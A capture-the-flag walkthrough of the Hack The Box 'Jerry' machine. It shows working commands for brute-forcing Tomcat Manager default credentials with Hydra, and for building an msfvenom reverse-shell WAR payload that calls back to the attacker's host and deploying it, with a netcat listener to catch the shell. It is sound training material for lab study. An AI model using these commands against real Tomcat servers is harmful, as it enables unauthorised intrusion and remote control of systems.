HTB Jerry Walkthrough: Cracking Tomcat and Uncovering Hidden Flags

Introduction

This write-up documents my experience solving the “Jerry” machine on Hack The Box, categorized as Easy. The challenge involves exploiting an Apache Tomcat server to gain access, deploying a reverse shell, and navigating the Windows environment to retrieve the flags. Below is a detailed, step-by-step breakdown of the process.

Step 1: Initial Scanning and Reconnaissance

I conducted a comprehensive scan nmap to identify open ports and services. The following command was used:

sudo nmap -sS -sV -p- -Pn -T4 -oN full-scan 10.10.10.95

The scan revealed port 8080, hosting an Apache Tomcat 7.0.88 application.

Open port 8080 and Apache Tomcat service

Navigating the application in a browser confirmed the presence of the default Tomcat interface, including a management panel.

Default Tomcat page with Manager panel

Step 2: Brute-Forcing Credentials

To access the management panel, I first needed credentials. Using Hydra, I conducted a brute-force attack with default credential wordlists from the Metasploit framework:

hydra -L /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt http-get://10.10.10.95:8080/manager/status

This attack successfully uncovered the following credentials:

• Username: tomcat
• Password: s3cret

Found credentials

Step 3: Authenticating to Apache Tomcat Manager

After obtaining the credentials, I attempted to access the management panel but encountered an issue. Authentication failed until I inspected the HTTP request using Burp Suite. I noticed the absence of an Authorization header and added the required Base64-encoded credentials:

Authorization: Basic dG9tY2F0OnMzY3JldA==

With the header added, I successfully accessed the Tomcat Manager interface.

Added Authorization header for login

Panel for uploading WAR files

Step 4: Deploying a Malicious WAR File

To exploit the upload functionality, I generated a WAR payload using MSFVenom:

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f war -o shell.war

It is important to note that simply renaming a file .war Without proper payload generation, deployment fails. Below is an error message encountered during such attempts:

Failure with improperly formatted file

After generating the correct payload, I uploaded the WAR file via the management panel and triggered it by navigating to:

http://10.10.10.95:8080/shell/api.jsp

Simultaneously, I started a Netcat listener to catch the reverse shell:

nc -lvnp 4444

Created reverse shell payload

Listener capturing reverse shell

Step 5: Accessing the Windows Environment and Retrieving Flags

With the reverse shell established, I navigated the Windows file system to locate the Flags directory on the Administrator’s Desktop. Inside, I found the user.txt and root.txt flags.

Folder with user.txt and root.txt

Contents of the retrieved flags

Key Takeaways and Lessons Learned

1. Header Analysis: Always inspect HTTP requests to identify missing headers that may prevent proper authentication.
2. Payload Generation: Ensure payloads are generated with the correct format and structure (e.g., .war) to avoid deployment failures.
3. Default Credentials: Leveraging common wordlists remains a reliable method for uncovering weak or default credentials.

Tools and Commands Summary

Tools Used

• Nmap: For service enumeration and port scanning.
• Hydra: To perform brute-force attacks.
• Burp Suite: For inspecting and modifying HTTP requests.
• MSFVenom: For generating malicious payloads.
• Netcat: To establish a listener for the reverse shell.

Commands

Nmap:

sudo nmap -sS -sV -p- -Pn -T4 -oN full-scan 10.10.10.95

Hydra:

hydra -L /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt http-get://10.10.10.95:8080/manager/status

MSFVenom:

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.34 LPORT=4444 -f war -o shell.war

Netcat:

nc -lvnp 4444

Conclusion

The “Jerry” machine provided a comprehensive learning experience, from credential brute-forcing and HTTP header analysis to generating and deploying a payload in the correct format. Successfully exploiting Apache Tomcat and navigating the Windows environment reinforced critical penetration testing concepts and methodologies.